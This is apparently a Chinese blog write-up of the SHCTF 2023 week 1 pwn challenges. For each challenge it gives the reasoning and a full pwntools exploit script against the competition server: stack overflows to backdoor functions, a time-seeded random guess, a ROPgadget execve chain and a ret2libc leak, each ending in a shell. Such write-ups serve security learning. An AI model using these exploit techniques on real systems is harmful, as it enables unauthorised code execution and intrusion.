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SHCTF 2023 [WEEK 1] PWN

2023/10/31 CTF PWN SHCTF

SHCTF 2023 [WEEK 1] PWN

简介

SHCTF - "山河"网络安全技能挑战赛 是由齐鲁工业大学、西安邮电大学、广东海洋大学、长春工程学院、郑州轻工业大学、河南大学、齐鲁师范学院、陕西邮电职业技术学院、陕西工业职业技术学院、商丘师范学院、咸阳师范学院(排名不分先后)等十所高校共同举办的 CTF 比赛。

完结撒花!!!这次比赛收获很大,新生赛往往会让你收获意想不到的知识点,挺好的,人民的好比赛,支持支持,明年再来 -_-,接下来会把比赛分周分享记录下来。


nc

签到题,直接 nc 就完事了。


hard nc

签到题,考察隐藏文件的查询(ls -a),然后就是 base64 解码:

flag{636a6981-8e07-42ea-aa5e-bcd2bfb11441}


四则计算器

ida反汇编一下,代码审计发现出现了栈溢出,并且还有一个后门函数,想法就是先绕过 if 语句,再调用后门函数,获得shell

exp如下:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = remote('112.6.51.212', 32837)
elf = ELF('./111')
backdoor = 0x4015E4
payload = b'\x00' + b'A' * (0x32 + 7) + p64(backdoor)

p.sendline(payload)
p.interactive()

或者,也可以通过nop滑梯来解决,exp如下:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = remote('112.6.51.212', 30541)
elf = ELF('./111')
backdoor = 0x4015E4
payload = b'\x00' * 0x32 + p64(0) + p64(backdoor)

p.sendline(payload)
p.interactive()

猜数游戏

ida反汇编,代码审计发现有个后门函数 fun11 ,想办法调用后门函数,首先先得绕过 if 函数,输入小于等于11的就行,然后就是想办法跳出while循环,这就需要看 compare 函数,若s与v6相等,则跳出循环,然后就要看到int_num_to_ascii 函数(该函数主要功能是将一个整数转换为ASCII字符数组)将一个随机数转化为ascll码值赋值给v6,并且s是用户输入的值,就可以输入随机数让其等于v6,这样就可以获得shell了,直接干就完事了

主要还得认真理清代码中的逻辑,这样才好解决问题

exp如下:

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')

p = remote('112.6.51.212', 32854)
elf = ELF('./111')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

libc.srand(libc.time(0))
num = str(libc.rand())

p.sendlineafter('how many digit you think about this number?\n', str(11))
p.sendline(num)
p.interactive()

ropchain

查看一下保护机制,64位打开了canary和NX,然后还是个静态链接的程序

ida反汇编,观察了一下,你会发现只有read这里发生了溢出,然后又是静态链接,可以直接用ROPgadget去寻找rop执行流(不懂可看这里PWN PWN PWN !!! 技巧 (2)

使用 ROPgadget --binary 文件 --ropchain 生成构造链。

这样的话就可以直接构造payload了,exp如下:

from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
#io =process('./111')
io =remote('112.6.51.212',30578)
elf =ELF('./111')

p = b''

p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000401858) # pop rdx ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401243) # syscall


payload =b'A'*(0x20 +8) + p

io.sendline(payload)
io.interactive()

babystack

查看一下保护机制,64位打开了NX

ida反汇编一下,代码审计你会发现没有binsh和system,就发生了一个栈溢出,你就可以想到是需要用ret2libc的方法来解决,这题是通过 write 函数来泄露 libc (不懂的可以看这里,可以套用模板PWN PWN PWN !!! 技巧 (1))这里就不多讲了

exp如下:

from pwn import *
from LibcSearcher import *
context.log_level="debug"

#p =process('./111')
p =remote('112.6.51.212',31645)
elf=ELF('./111')
libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')

main_addr =0x400718
write_plt =elf.plt['write']
write_got =elf.got['write']
ret_addr =0x400581
rdi_addr =0x400833
pop_rsi_r15 =0x400831

payload =b'a' * (0x20+8) + p64(rdi_addr) +p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0) +p64(write_plt)+ p64(main_addr)
p.sendline(payload)

write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(write_addr))

libc_base = write_addr - libc.sym['write']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

payload =b'a' * (0x20+8) +p64(rdi_addr) + p64(bin_sh) +p64(sys_addr)

p.sendline(payload)
p.interactive()

showshowway

查看一下保护机制,64位程序打开了NX

ida反汇编一下,代码审计你会发现gets函数造成了溢出,并且需要让 y 等于 p,就可以直接绕过if1语句,执行后门函数,接下来就是该怎么构造payload(s与y相距了0x40个字节,意思就是输入0x40个字节的数据就可以覆盖到 y ,然后再修改其内容,使其与p相等就可以了)这里需要认真思考,记录一下

exp如下:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

#p =process('./111')
p =remote('112.6.51.212',30218)
elf=ELF('./111')

payload = b'a'*0x40 +b'showshowway\x00'

p.sendline(payload)
p.interactive()

pkmon

查看一下保护机制,64位程序只打开了NX

ida反汇编一下,发现有个后门函数,并且发现可以利用puts的got表地址来执行后门函数,从而获得shell

所以我们需要找到找到puts的got表地址,从而求出v1的值,这样就可以打通了

exp如下:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

#p =process('./111')
p =remote('112.6.51.212',30452)
elf=ELF('./111')

got_addr =elf.got['puts']
backdoor = 0x40072B

payload =b'-17' +p64(backdoor)

p.sendline(payload)
p.interactive()

总结

这次比赛收获挺多的,大部分题目都是需要通过自己分析代码来解决问题,非常考验代码审计的能力,能力还得慢慢提升,加油!!!

⬅ 上一篇
SHCTF 2023 [WEEK 2] PWN
2023-11-01  |  | PWN, SHCTF
下一篇 ➡
PWN PWN PWN !!! 技巧 (4)
2023-10-29  |  | PWN
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